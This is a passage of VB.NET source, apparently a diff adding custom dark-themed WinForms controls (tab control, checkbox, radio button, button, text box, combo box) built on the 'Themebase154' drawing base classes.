MyBase.OnPaint(e) + Dim r2 As New Rectangle(2, 0, Width, 25) + Dim r3 As New Rectangle(2, 0, Width, 25) + e.Graphics.Clear(Color.FromArgb(18, 18, 18)) + Dim ItemBounds As Rectangle + Dim TextBrush As New SolidBrush(Color.Empty) + Dim TabBrush As New SolidBrush(Color.FromArgb(15, 15, 15)) + DrawGradientBrush2 = New LinearGradientBrush(r3, Color.FromArgb(25, 25, 25), Color.FromArgb(42, 42, 42), LinearGradientMode.ForwardDiagonal) + e.Graphics.FillRectangle(DrawGradientBrush2, r2) + For TabItemIndex As Integer = 0 To Me.TabCount - 1 + ItemBounds = Me.GetTabRect(TabItemIndex) + + If CBool(TabItemIndex And 1) Then + TabBrush.Color = Color.Transparent + Else + TabBrush.Color = Color.Transparent + End If + e.Graphics.FillRectangle(TabBrush, ItemBounds) + Dim BorderPen As Pen + If TabItemIndex = SelectedIndex Then + BorderPen = New Pen(Color.Black, 1) + Else + BorderPen = New Pen(Color.Black, 1) + End If + Dim rPen As New Rectangle(ItemBounds.Location.X + 3, ItemBounds.Location.Y + 0, ItemBounds.Width - 4, ItemBounds.Height - 2) + e.Graphics.DrawRectangle(BorderPen, rPen) + DrawGradientBrushPen = New LinearGradientBrush(rPen, Color.FromArgb(5, 5, 5), Color.FromArgb(24, 24, 24), LinearGradientMode.Vertical) + e.Graphics.FillRectangle(DrawGradientBrushPen, rPen) + BorderPen.Dispose() + Dim sf As New StringFormat + sf.LineAlignment = StringAlignment.Center + sf.Alignment = StringAlignment.Center + + If Me.SelectedIndex = TabItemIndex Then + TextBrush.Color = Color.DarkMagenta + Else + TextBrush.Color = Color.Gray + End If + e.Graphics.DrawString( _ + Me.TabPages(TabItemIndex).Text, _ + Me.Font, TextBrush, _ + RectangleF.op_Implicit(Me.GetTabRect(TabItemIndex)), sf) + Try + Me.TabPages(TabItemIndex).BackColor = Color.FromArgb(15, 15, 15) + + Catch + End Try + Next + Try + For Each Page As TabPage In Me.TabPages + Page.BorderStyle = BorderStyle.None + Next + Catch + End Try + e.Graphics.DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(255, Color.Black))), 2, 0, Width - 3, Height - 3) + e.Graphics.DrawRectangle(New Pen(New SolidBrush(LighterBlack)), New Rectangle(3, 24, Width - 5, Height - 28)) + e.Graphics.DrawLine(New Pen(New SolidBrush(Color.FromArgb(255, Color.Black))), 2, 23, Width - 2, 23) + e.Graphics.DrawLine(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35))), 0, 0, 1, 1) + e.Graphics.DrawLine(New Pen(New SolidBrush(Color.FromArgb(70, 70, 70))), 2, Height - 2, Width + 1, Height - 2) + + End Sub + Protected Overrides Sub OnSelecting(ByVal e As System.Windows.Forms.TabControlCancelEventArgs) + If OldIndex < e.TabPageIndex Then + DoAnimationScrollUp(TabPages(OldIndex), TabPages(e.TabPageIndex)) + Else + DoAnimationScrollDown(TabPages(OldIndex), TabPages(e.TabPageIndex)) + End If + End Sub + + Protected Overrides Sub OnDeselecting(ByVal e As System.Windows.Forms.TabControlCancelEventArgs) + OldIndex = e.TabPageIndex + End Sub + Sub DoAnimationScrollUp(ByVal Control1 As Control, ByVal Control2 As Control) + Dim G As Graphics = Control1.CreateGraphics() + Dim P1 As New Bitmap(Control1.Width, Control1.Height) + Dim P2 As New Bitmap(Control2.Width, Control2.Height) + Control1.DrawToBitmap(P1, New Rectangle(0, 0, Control1.Width, Control1.Height)) + Control2.DrawToBitmap(P2, New Rectangle(0, 0, Control2.Width, Control2.Height)) + + For Each c As Control In Control1.Controls + c.Hide() + Next + Dim Slide As Integer = Control1.Height - (Control1.Height Mod _Speed) + Dim a As Integer + For a = 0 To -Slide Step -_Speed + G.DrawImage(P1, New Rectangle(0, a, Control1.Width, Control1.Height)) + G.DrawImage(P2, New Rectangle(0, a + Control2.Height, Control2.Width, Control2.Height)) + Next + a = Control1.Width + G.DrawImage(P1, New Rectangle(0, a, Control1.Width, Control1.Height)) + G.DrawImage(P2, New Rectangle(0, a + Control2.Height, Control2.Width, Control2.Height)) + + SelectedTab = Control2 + + For Each c As Control In Control2.Controls + c.Show() + Next + + For Each c As Control In Control1.Controls + c.Show() + Next + End Sub +End Class + +Class VGroupBox + Inherits ThemeContainer154 + + Sub New() + ControlMode = True + End Sub + + Protected Overrides Sub ColorHook() + + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(Color.Transparent) + DrawBorders(New Pen(Color.FromArgb(36, 36, 36)), 1) + DrawBorders(Pens.Black) + G.DrawLine(New Pen(Color.FromArgb(48, 48, 48)), 1, 1, Width - 2, 1) + G.FillRectangle(New LinearGradientBrush(New Rectangle(8, 8, Width - 16, Height - 16), Color.FromArgb(12, 12, 12), Color.FromArgb(18, 18, 18), LinearGradientMode.BackwardDiagonal), 8, 8, Width - 16, Height - 16) + DrawBorders(New Pen(Color.FromArgb(36, 36, 36)), 7) + End Sub +End Class + +Class VSeperator + Inherits ThemeControl154 + + Private _Orientation As Orientation + Property Orientation() As Orientation + Get + Return _Orientation + End Get + Set(ByVal value As Orientation) + _Orientation = value + + If value = Windows.Forms.Orientation.Vertical Then + LockHeight = 0 + LockWidth = 14 + Else + LockHeight = 14 + LockWidth = 0 + End If + + Invalidate() + End Set + End Property + + Sub New() + Transparent = True + BackColor = Color.Transparent + + LockHeight = 14 + End Sub + + Protected Overrides Sub ColorHook() + + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + + Dim BL1, BL2 As New ColorBlend + BL1.Positions = New Single() {0.0F, 0.15F, 0.85F, 1.0F} + BL2.Positions = New Single() {0.0F, 0.15F, 0.5F, 0.85F, 1.0F} + + BL1.Colors = New Color() {Color.Transparent, Color.Black, Color.Black, Color.Transparent} + BL2.Colors = New Color() {Color.Transparent, Color.FromArgb(24, 24, 24), Color.FromArgb(40, 40, 40), Color.FromArgb(36, 36, 36), Color.Transparent} + + If _Orientation = Windows.Forms.Orientation.Vertical Then + DrawGradient(BL1, 6, 0, 1, Height) + DrawGradient(BL2, 7, 0, 1, Height) + Else + DrawGradient(BL1, 0, 6, Width, 1, 0.0F) + DrawGradient(BL2, 0, 7, Width, 1, 0.0F) + End If + + End Sub + +End Class + +Class VCheckBox + Inherits ThemeControl154 + Private P1 As Pen + Private B1 As Brush + Private B2 As Brush + Private B3 As Brush + Private _Checked As Boolean = False + Public Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal checked As Boolean) + _Checked = checked + Invalidate() + End Set + End Property + Sub New() + BackColor = Color.Transparent + Transparent = True + Size = New Size(150, 16) + End Sub + Sub changeChecked() Handles Me.Click + Select Case _Checked + Case False + _Checked = True + Case True + _Checked = False + End Select + End Sub + Protected Overrides Sub ColorHook() + P1 = New Pen(Color.FromArgb(0, 0, 0)) + B1 = New SolidBrush(Color.FromArgb(15, Color.FromArgb(26, 26, 26))) + B2 = New SolidBrush(Color.DarkMagenta) + B3 = New SolidBrush(Color.FromArgb(0, 0, 0)) + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + G.FillRectangle(B3, 0, 0, 45, 15) + G.DrawRectangle(P1, 0, 0, 45, 15) + If (_Checked = False) Then + G.DrawString("OFF", Font, Brushes.Gray, 3, 1) + G.FillRectangle(New LinearGradientBrush(New Rectangle(29, -1, 13, 16), Color.FromArgb(35, 35, 35), Color.FromArgb(25, 25, 25), 90S), 29, -1, 13, 16) + Else + DrawGradient(Color.FromArgb(10, 10, 10), Color.FromArgb(20, 20, 20), 15, 2, 28, 11, 90S) + G.DrawString("ON", Font, Brushes.DarkMagenta, 18, 0) + G.FillRectangle(New LinearGradientBrush(New Rectangle(2, -1, 13, 16), Color.FromArgb(80, 80, 80), Color.FromArgb(60, 60, 60), 90S), 2, -1, 13, 16) + End If + G.FillRectangle(B1, 2, 2, 41, 11) + DrawText(B2, HorizontalAlignment.Left, 50, 0) + End Sub +End Class + +Class VRadiobutton + Inherits ThemeControl154 + Sub New() + BackColor = Color.Transparent + Transparent = True + Size = New Point(50, 17) + End Sub + Private _Checked As Boolean + Public Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal V As Boolean) + _Checked = V + Invalidate() + End Set + End Property + + Protected Overrides Sub OnClick(ByVal e As System.EventArgs) + MyBase.OnClick(e) + For Each C As Control In Parent.Controls + If C.GetType.ToString = Replace(My.Application.Info.ProductName, " ", "_") & ".VRadiobutton" Then + Dim CC As VRadiobutton + CC = C + CC.Checked = False + End If + Next + _Checked = True + End Sub + + Protected Overrides Sub ColorHook() + + End Sub + + Protected Overrides Sub OnTextChanged(ByVal e As System.EventArgs) + MyBase.OnTextChanged(e) + Dim textSize As Integer + textSize = Me.CreateGraphics.MeasureString(Text, Font).Width + Me.Width = 25 + textSize + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + If _Checked = False Then + G.FillEllipse(New SolidBrush(Color.Black), 0, 0, 16, 16) + Dim Gbrush As New LinearGradientBrush(New Rectangle(1, 1, 14, 14), Color.FromArgb(24, 30, 36), Color.FromArgb(25, 25, 25), 90.0F) + G.FillEllipse(Gbrush, New Rectangle(1, 1, 14, 14)) + Gbrush = New LinearGradientBrush(New Rectangle(2, 2, 12, 12), Color.FromArgb(12, 12, 12), Color.FromArgb(25, 25, 25), 90.0F) + G.FillEllipse(Gbrush, New Rectangle(2, 2, 12, 12)) + Else + G.FillEllipse(New SolidBrush(Color.Black), 0, 0, 16, 16) + Dim Gbrush As New LinearGradientBrush(New Rectangle(1, 1, 14, 14), Color.FromArgb(45, 45, 45), Color.FromArgb(10, 10, 10), 90.0F) + G.FillEllipse(Gbrush, New Rectangle(1, 1, 14, 14)) + Gbrush = New LinearGradientBrush(New Rectangle(2, 2, 12, 12), Color.FromArgb(25, 25, 25), Color.FromArgb(20, 20, 20), 90.0F) + G.FillEllipse(Gbrush, New Rectangle(2, 2, 12, 12)) + G.FillEllipse(Brushes.Black, New Rectangle(5, 6, 5, 5)) + Dim Gbrush2 As New LinearGradientBrush(New Rectangle(1, 1, 14, 14), Color.FromArgb(130, 130, 130), Color.FromArgb(20, 20, 20), LinearGradientMode.ForwardDiagonal) + G.FillEllipse(Gbrush2, New Rectangle(3, 3, 10, 10)) + End If + G.DrawString(Text, Font, Brushes.DarkMagenta, 22, 2) + End Sub + + +End Class + +Class VButton + Inherits ThemeControl154 + + Protected Overrides Sub ColorHook() + + End Sub + + Protected Overrides Sub PaintHook() + DrawBorders(New Pen(Color.FromArgb(16, 16, 16)), 1) + G.FillRectangle(New SolidBrush(Color.FromArgb(5, 5, 5)), 0, 0, Width, 8) + DrawBorders(Pens.Black, 3) + DrawBorders(New Pen(Color.FromArgb(24, 24, 24))) + + If State = MouseState.Over Then + G.FillRectangle(New SolidBrush(Color.FromArgb(25, 25, 25)), 3, 3, Width - 6, Height - 6) + DrawBorders(New Pen(Color.FromArgb(0, 0, 0)), 2) + ElseIf State = MouseState.Down Then + G.FillRectangle(New LinearGradientBrush(New Rectangle(3, 3, Width - 6, Height - 6), Color.FromArgb(12, 12, 12), Color.FromArgb(30, 30, 30), LinearGradientMode.BackwardDiagonal), 3, 3, Width - 6, Height - 6) + DrawBorders(New Pen(Color.FromArgb(0, 0, 0)), 2) + Else + G.FillRectangle(New LinearGradientBrush(New Rectangle(3, 3, Width - 6, Height - 6), Color.FromArgb(9, 9, 9), Color.FromArgb(18, 18, 18), LinearGradientMode.Vertical), 3, 3, Width - 6, Height - 6) + DrawBorders(New Pen(Color.FromArgb(32, 32, 32)), 2) + End If + If State = MouseState.Down Then + DrawText(Brushes.DarkMagenta, HorizontalAlignment.Center, 2, 2) + Else + DrawText(Brushes.DarkMagenta, HorizontalAlignment.Center, 0, 0) + End If + End Sub + +End Class +MustInherit Class ThemeControl + Inherits Control + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + B = New Bitmap(1, 1) + G = Graphics.FromImage(B) + End Sub + + Sub AllowTransparent() + SetStyle(ControlStyles.Opaque, False) + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + End Sub + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal v As String) + MyBase.Text = v + Invalidate() + End Set + End Property +#End Region + +#Region " Mouse Handling " + + Protected Enum State As Byte + MouseNone = 0 + MouseOver = 1 + MouseDown = 2 + End Enum + + Protected MouseState As State + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + ChangeMouseState(State.MouseNone) + MyBase.OnMouseLeave(e) + End Sub + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseEnter(e) + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseUp(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left Then ChangeMouseState(State.MouseDown) + MyBase.OnMouseDown(e) + End Sub + + Private Sub ChangeMouseState(ByVal e As State) + MouseState = e + Invalidate() + End Sub + +#End Region + +#Region " Convienence " + + MustOverride Sub PaintHook() + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Not Width = 0 AndAlso Not Height = 0 Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + Invalidate() + End If + MyBase.OnSizeChanged(e) + End Sub + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + _Image = value + Invalidate() + End Set + End Property + ReadOnly Property ImageWidth() As Integer + Get + If _Image Is Nothing Then Return 0 + Return _Image.Width + End Get + End Property + ReadOnly Property ImageTop() As Integer + Get + If _Image Is Nothing Then Return 0 + Return Height \ 2 - _Image.Height \ 2 + End Get + End Property + + Private _Size As Size + Private _Rectangle As Rectangle + Private _Gradient As LinearGradientBrush + Private _Brush As SolidBrush + + Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) + If _NoRounding Then Return + + B.SetPixel(rect.X, rect.Y, c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) + B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) + G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) + G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) + End Sub + + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer) + DrawText(a, c, x, 0) + End Sub + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer, ByVal y As Integer) + If String.IsNullOrEmpty(Text) Then Return + _Size = G.MeasureString(Text, Font).ToSize + _Brush = New SolidBrush(c) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(Text, Font, _Brush, x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawString(Text, Font, _Brush, Width - _Size.Width - x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawString(Text, Font, _Brush, Width \ 2 - _Size.Width \ 2 + x, Height \ 2 - _Size.Height \ 2 + y) + End Select + End Sub + + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer) + DrawIcon(a, x, 0) + End Sub + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If _Image Is Nothing Then Return + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(_Image, x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawImage(_Image, Width - _Image.Width - x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawImage(_Image, Width \ 2 - _Image.Width \ 2, Height \ 2 - _Image.Height \ 2) + End Select + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + _Rectangle = New Rectangle(x, y, width, height) + _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) + G.FillRectangle(_Gradient, _Rectangle) + End Sub +#End Region + +End Class + + +Class RandomPool + Inherits ThemeControl + + Private GO As Graphics, _Size As Size + Event CharacterSelection(ByVal s As Object, ByVal c As Char) + + Sub New() + GO = Graphics.FromHwndInternal(Handle) + End Sub + + Private _Range As String = "0123456789ABCDEF" + Property Range() As String + Get + Return _Range + End Get + Set(ByVal v As String) + _Range = v + UpdateSize() + End Set + End Property + + Private _RangePadding As Integer = 2 + Public Property RangePadding() As Integer + Get + Return _RangePadding + End Get + Set(ByVal v As Integer) + _RangePadding = v + UpdateSize() + End Set + End Property + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal v As Font) + MyBase.Font = v + UpdateSize() + End Set + End Property + + Private _Brush As Brush = SystemBrushes.ControlText + Overrides Property ForeColor As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal v As Color) + MyBase.ForeColor = v + _Brush = New SolidBrush(v) + Invalidate() + End Set + End Property + + Private Count As Integer + Private Sub UpdateSize() + _Size = New Size(0, 0) + + Dim T As Size + For I As Integer = 0 To _Range.Length - 1 + T = GO.MeasureString(_Range(I), Font).ToSize() + T.Width += _RangePadding + T.Height += _RangePadding + + If T.Height > _Size.Height Then _Size.Height = T.Height + If T.Width > _Size.Width Then _Size.Width = T.Width + Next + + Randomize() + End Sub + + Private Index1, Index2 As Integer, Items As Char() + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + Index1 = GetIndex(e.X, e.Y) + If Index1 = Index2 Then Return + + RaiseEvent CharacterSelection(Me, Items(Index1)) + + Randomize(Index1 - Count) + Randomize(Index1 - 1) + Randomize(Index1) + Randomize(Index1 + 1) + Randomize(Index1 + Count) + + Index2 = Index1 + Invalidate() + End Sub + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Size.Width = 0 Then UpdateSize() Else Randomize() + MyBase.OnSizeChanged(e) + End Sub + + Overrides Sub PaintHook() + G.Clear(BackColor) + + For X As Integer = 0 To Width - 1 Step _Size.Width + For Y As Integer = 0 To Height - 1 Step _Size.Height + G.DrawString(Items(GetIndex(X, Y)), Font, _Brush, X, Y) + Next + Next + + End Sub + + Private Function GetIndex(ByVal x As Integer, ByVal y As Integer) As Integer + Return (y \ _Size.Height) * Count + (x \ _Size.Width) + End Function + + Private RN As Random + Private Sub Randomize() + Count = CInt(Math.Ceiling(Width / _Size.Width)) + + RN = New Random(Guid.NewGuid.GetHashCode) + Items = New Char(CInt(Math.Ceiling(Width / _Size.Width) * Math.Ceiling(Height / _Size.Height)) - 1) {} + + For I As Integer = 0 To Items.Length - 1 + Items(I) = _Range(RN.Next(_Range.Length)) + Next + + Invalidate() + End Sub + Private Sub Randomize(ByVal index As Integer) + If index > -1 AndAlso index < Items.Length Then Items(index) = _Range(RN.Next(_Range.Length)) + End Sub + +End Class +Class VTextBox + Inherits ThemeControl154 + Dim WithEvents Txt As New TextBox + + Private _Mulitline As Boolean + Public Property Multiline() As Boolean + Get + Return _Mulitline + End Get + Set(ByVal value As Boolean) + _Mulitline = value + End Set + End Property + Private _PassMask As Boolean + Public Property UsePasswordMask() As Boolean + Get + Return _PassMask + End Get + Set(ByVal v As Boolean) + _PassMask = v + Txt.UseSystemPasswordChar = v + End Set + End Property + Private _maxchars As Integer + Public Property MaxCharacters() As Integer + Get + Return _maxchars + End Get + Set(ByVal v As Integer) + _maxchars = v + Txt.MaxLength = v + End Set + End Property + + Sub New() + + Txt.TextAlign = HorizontalAlignment.Left + Txt.BorderStyle = BorderStyle.None + Txt.Location = New Point(10, 6) + Txt.Font = New Font("Verdana", 8) + Controls.Add(Txt) + Text = "" + Txt.Text = "" + Size = New Size(150, 25) + End Sub + + Protected Overrides Sub ColorHook() + Txt.ForeColor = Color.DarkMagenta + Txt.BackColor = Color.FromArgb(15, 15, 15) + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(Color.FromArgb(15, 15, 15)) + Txt.Size = New Size(Width - 20, Height - 10) + Select Case Multiline + Case True + Size = New Size(Width, Height) + Case False + Size = New Size(Width, 25) + End Select + + G.FillRectangle(New SolidBrush(Color.FromArgb(15, 15, 15)), New Rectangle(1, 1, Width - 2, Height - 2)) + DrawBorders(New Pen(New SolidBrush(Color.FromArgb(32, 32, 32))), 1) + DrawBorders(New Pen(New SolidBrush(Color.Black))) + DrawCorners(Color.FromArgb(15, 15, 15)) + DrawCorners(Color.FromArgb(15, 15, 15), New Rectangle(1, 1, Width - 2, Height - 2)) + End Sub + Sub TextChngTxtBox() Handles Txt.TextChanged + Text = Txt.Text + End Sub + Sub TextChng() Handles MyBase.TextChanged + Txt.Text = Text + End Sub +End Class +Class GhostComboBox + Inherits ComboBox + + Private X As Integer + Sub New() + MyBase.New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or ControlStyles.UserPaint Or ControlStyles.DoubleBuffer, True) + DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed + ItemHeight = 20 + BackColor = Color.FromArgb(15, 15, 15) + DropDownStyle = ComboBoxStyle.DropDownList + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + X = e.X + Invalidate() + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs) + MyBase.OnMouseLeave(e) + X = -1 + Invalidate() + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Not DropDownStyle = ComboBoxStyle.DropDownList Then DropDownStyle = ComboBoxStyle.DropDownList + Dim B As New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + + G.Clear(Color.FromArgb(15, 15, 15)) + Dim GradientBrush As LinearGradientBrush = New LinearGradientBrush(New Rectangle(0, 0, Width, Height / 5 * 2), Color.FromArgb(20, 0, 0, 0), Color.FromArgb(15, Color.DarkMagenta), 90.0F) + G.FillRectangle(GradientBrush, New Rectangle(0, 0, Width, Height / 5 * 2)) + Dim hatch As HatchBrush + hatch = New HatchBrush(HatchStyle.DarkDownwardDiagonal, Color.FromArgb(20, Color.Black), Color.FromArgb(0, Color.DarkMagenta)) + G.FillRectangle(hatch, 0, 0, Width, Height) + + Dim S1 As Integer = G.MeasureString("...", Font).Height + If SelectedIndex <> -1 Then + G.DrawString(Items(SelectedIndex), Font, New SolidBrush(Color.DarkMagenta), 4, Height \ 2 - S1 \ 2) + Else + If Not Items Is Nothing And Items.Count > 0 Then + G.DrawString(Items(0), Font, New SolidBrush(Color.DarkMagenta), 4, Height \ 2 - S1 \ 2) + Else + G.DrawString("...", Font, New SolidBrush(Color.DarkMagenta), 4, Height \ 2 - S1 \ 2) + End If + End If + + If MouseButtons = Windows.Forms.MouseButtons.None And X > Width - 25 Then + G.FillRectangle(New SolidBrush(Color.FromArgb(7, Color.White)), Width - 25, 1, Width - 25, Height - 3) + ElseIf MouseButtons = Windows.Forms.MouseButtons.None And X < Width - 25 And X >= 0 Then + G.FillRectangle(New SolidBrush(Color.FromArgb(7, Color.White)), 2, 1, Width - 27, Height - 3) + End If + + G.DrawRectangle(Pens.Black, 0, 0, Width - 1, Height - 1) + G.DrawRectangle(New Pen(Color.FromArgb(32, 32, 32)), 1, 1, Width - 3, Height - 3) + G.DrawLine(New Pen(Color.FromArgb(32, 32, 32)), Width - 25, 1, Width - 25, Height - 3) + G.DrawLine(Pens.Black, Width - 24, 0, Width - 24, Height) + G.DrawLine(New Pen(Color.FromArgb(32, 32, 32)), Width - 23, 1, Width - 23, Height - 3) + + G.FillPolygon(Brushes.Black, Triangle(New Point(Width - 14, Height \ 2), New Size(5, 3))) + G.FillPolygon(Brushes.DarkMagenta, Triangle(New Point(Width - 15, Height \ 2 - 1), New Size(5, 3))) + + e.Graphics.DrawImage(B.Clone, 0, 0) + G.Dispose() : B.Dispose() + End Sub + + Protected Overrides Sub OnDrawItem(ByVal e As DrawItemEventArgs) + If e.Index < 0 Then Exit Sub + Dim rect As New Rectangle() + rect.X = e.Bounds.X + rect.Y = e.Bounds.Y + rect.Width = e.Bounds.Width - 1 + rect.Height = e.Bounds.Height - 1 + + e.DrawBackground() + If e.State = 785 Or e.State = 17 Then + e.Graphics.FillRectangle(Brushes.Black, e.Bounds) + Dim x2 As Rectangle = New Rectangle(e.Bounds.Location, New Size(e.Bounds.Width - 1, e.Bounds.Height)) + Dim x3 As Rectangle = New Rectangle(x2.Location, New Size(x2.Width, (x2.Height / 2) - 1)) + Dim G1 As New LinearGradientBrush(New Point(x2.X, x2.Y), New Point(x2.X, x2.Y + x2.Height), Color.FromArgb(16, 16, 16), Color.FromArgb(15, 15, 15)) + Dim H As New HatchBrush(HatchStyle.DarkDownwardDiagonal, Color.FromArgb(15, Color.DarkMagenta), Color.Transparent) + e.Graphics.FillRectangle(G1, x2) : G1.Dispose() + e.Graphics.FillRectangle(New SolidBrush(Color.FromArgb(25, Color.Black)), x3) + e.Graphics.FillRectangle(H, x2) : G1.Dispose() + e.Graphics.DrawString(" " & Items(e.Index).ToString(), Font, Brushes.DarkMagenta, e.Bounds.X, e.Bounds.Y + 2) + Else + e.Graphics.FillRectangle(New SolidBrush(BackColor), e.Bounds) + e.Graphics.DrawString(" " & Items(e.Index).ToString(), Font, Brushes.Black, e.Bounds.X, e.Bounds.Y + 2) + End If + MyBase.OnDrawItem(e) + End Sub + + Public Function Triangle(ByVal Location As Point, ByVal Size As Size) As Point() + Dim ReturnPoints(0 To 3) As Point + ReturnPoints(0) = Location + ReturnPoints(1) = New Point(Location.X + Size.Width, Location.Y) + ReturnPoints(2) = New Point(Location.X + Size.Width \ 2, Location.Y + Size.Height) + ReturnPoints(3) = Location + + Return ReturnPoints + End Function + + Private Sub GhostComboBox_DropDownClosed(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.DropDownClosed + DropDownStyle = ComboBoxStyle.Simple + Application.DoEvents() + DropDownStyle = ComboBoxStyle.DropDownList + End Sub + + Private Sub GhostCombo_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.TextChanged + Invalidate() + End Sub +End Class + +#End Region +#Region "Themebase154" + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 08/02/2011 +'Changed: 12/06/2011 +'Version: 1.5.4 +'------------------ +MustInherit Class ThemeContainer154 + Inherits ContainerControl + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + If DoneCreation Then InitializeMessages() + + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not _ControlMode Then MyBase.Dock = DockStyle.Fill + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Private DoneCreation As Boolean + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + MyBase.OnParentChanged(e) + + If Parent Is Nothing Then Return + _IsParentForm = TypeOf Parent Is Form + + If Not _ControlMode Then + InitializeMessages() + + If _IsParentForm Then + ParentForm.FormBorderStyle = _BorderStyle + ParentForm.TransparencyKey = _TransparencyKey + + If Not DesignMode Then + AddHandler ParentForm.Shown, AddressOf FormShown + End If + End If + + Parent.BackColor = BackColor + End If + + OnCreation() + DoneCreation = True + InvalidateTimer() + End Sub + +#End Region + + Private Sub DoAnimation(ByVal i As Boolean) + OnAnimation() + If i Then Invalidate() + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent AndAlso _ControlMode Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected Overrides Sub OnHandleDestroyed(ByVal e As EventArgs) + RemoveAnimationCallback(AddressOf DoAnimation) + MyBase.OnHandleDestroyed(e) + End Sub + + Private HasShown As Boolean + Private Sub FormShown(ByVal sender As Object, ByVal e As EventArgs) + If _ControlMode OrElse HasShown Then Return + + If _StartPosition = FormStartPosition.CenterParent OrElse _StartPosition = FormStartPosition.CenterScreen Then + Dim SB As Rectangle = Screen.PrimaryScreen.Bounds + Dim CB As Rectangle = ParentForm.Bounds + ParentForm.Location = New Point(SB.Width \ 2 - CB.Width \ 2, SB.Height \ 2 - CB.Width \ 2) + End If + + HasShown = True + End Sub + + +#Region " Size Handling " + + Private Frame As Rectangle + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Movable AndAlso Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, _Header - 7) + End If + + InvalidateBitmap() + Invalidate() + + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, 